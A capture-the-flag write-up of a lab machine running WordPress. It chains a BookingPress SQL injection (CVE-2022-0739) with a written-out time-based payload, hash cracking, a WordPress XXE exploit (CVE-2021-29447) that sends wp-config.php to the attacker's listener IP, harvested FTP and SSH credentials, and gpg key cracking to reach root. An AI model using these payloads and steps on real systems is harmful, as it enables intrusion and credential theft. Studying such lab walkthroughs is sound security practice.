← ALL WRITEUPSFIELD NOTES / TECHNICAL WRITEUP

[OS]: Linux

[Web-Technology]: wordpress

[Hostname]: metapress.htb

[IP]: 10.129.108.118

image

[CREDENTIALS]:

manager : partylikearockstar user : metapress.htb pass : 9NYS_ii@**FyL_p5M2NvJ user: jnelson@metapress.htb pass : Cb4_JmWM8zUZWMu@Ys

=========================================================================

[NMAP RESULTS]:

21/tcp open  ftp?    syn-ack                                                                                          
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)                                            
| ssh-hostkey:                                                                                                        
|   3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)                                                        
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPp9LmBKMOuXu2ZOpw8JorL5ah0sU0kIBXvJB8LX26rpbOhw+1MPdhx6ptZzXwQ8wkQc88xu5h+oB8
NGkeHLYhvRqtZmvkTpOsyJiMm+0Udbg+IJCENPiKGSC5J+0tt4QPj92xtTe/f7WV4hbBLDQust46D1xVJVOCNfaloIC40BtWoMWIoEFWnk7U3kwXcM5336
LuUnhm69XApDB4y/dt5CgXFoWlDQi45WLLQGbanCNAlT9XwyPnpIyqQdF7mRJ5yRXUOXGeGmoO9+JALVQIEJ/7Ljxts6QuV633wFefpxnmvTu7XX9W8vxU
cmInIEIQCmunR5YH4ZgWRclT+6rzwRQw1DH1z/ZYui5Bjn82neoJunhweTJXQcotBp8glpvq3X/rQgZASSyYrOJghBlNVZDqPzp4vBC78gn6TyZyuJXhDx
w+lHxF82IMT2fatp240InLVvoWrTWlXlEyPiHraKC0okOVtul6T0VRxsuT+QsyU7pdNFkn2wDVvC25AW8=                                    
|   256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)                                     
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBB1ZmNogWBUF8MwkNsezebQ+0/yPq7RX3/j9s4Qh8jbG
lmvAcN0Z/aIBrzbEuTRf3/cHehtaNf9qrF2ehQAeM94=                                                        
|   256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)                                   
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOP4kxBr9kumAjfplon8fXJpuqhdMJy2rpd3FM7+mGw2                  
80/tcp open  http    syn-ack nginx 1.18.0                                                           
|_http-title: Did not follow redirect to http://metapress.htb/                                      
| http-methods:                                                                                     
|_  Supported Methods: GET HEAD POST OPTIONS               
|_http-server-header: nginx/1.18.0                         
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=========================================================================

[Web Services Enumeration]:

navigating to the web page on port 80 showed us this page with a subdirectory shown as /events

image

running a gobuster on the page showed us these subdirectories

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -u http://metapress.htb/

image

navigating to the page source showed me that there is a javascript code that is running on HTML.

image

further enumeration on the source code allowed me to see that there’s a booking press plugin version 1.0.10 which has a CVE-2022-0739 which is a unauthenticated SQL injection vulnerability

Cause: User-Supplied POST data is not properly sanitized before being user in a dynamic SQL query via the unauthenticated bookingpress_front_get_category_services AJAX action (admin-ajax.php)

Tool used: https://github.com/viardant/CVE-2022-0739

running the tool

python3 booking-sqlinjector.py \                                                 
> -u http://metapress.htb \                                                                                        
> -nu http://metapress.htb/events/ \                                                                          
> -p ") AND (SELECT 1 FROM (SELECT SLEEP(3))x)-- -" \                                                                
> -a -o db_dump

image

code output:

{
  "admin": {
    "email": "admin@metapress.htb",
    "password": "$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV."
  },
  "manager": {
    "email": "manager@metapress.htb",
    "password": "$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70"
  }
}

image

hashed password that we can try to offline crack hash type: phpass

image

manager : partylikearockstar

using the new creds we found we successfully logged in into the manager user on wordpress image

wordpress 5.6.2

found that it was vulnerable to CVE-2021-29447 which is a user with the ability to upload files can exploit an XML parsing issue in the media library leading to XXE attacks.

Tool used: https://github.com/0xRar/CVE-2021-29447-PoC

python3 PoC.py -l 10.10.15.235 -p 8080 -f ../wp-config.php

image

was able to get the base64 blob and decode it image

since the file comes with a php decoder just add the base64 blob and decode it

php decode.php

image

image

was able to find a username and a password to use for the ftp service running on port 21. user : metapress.htb pass : 9NYS_ii@**FyL_p5M2NvJ

image

navigating to the blog directory image

after further enumerating found a file called sendmail.php that has hardcoded jnelson credentials for ssh image

user: jnelson@metapress.htb pass : Cb4_JmWM8zUZWMu@Ys

=========================================================================

[OTHER / PRIVILEGE-ESCALATION]:

extracting the hash from the key

gpg2john ~/.passpie/.keys > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

blink182

getting root on the machine:

image

reading root.pass showed me a pgp message that could be decrypted to get the root password

image

importing the keys to crack it image

in the end decrypting it and getting root image

Pasted image 20261202172102

=========================================================================

← BACK TO WRITEUPSMAZEN. / HOME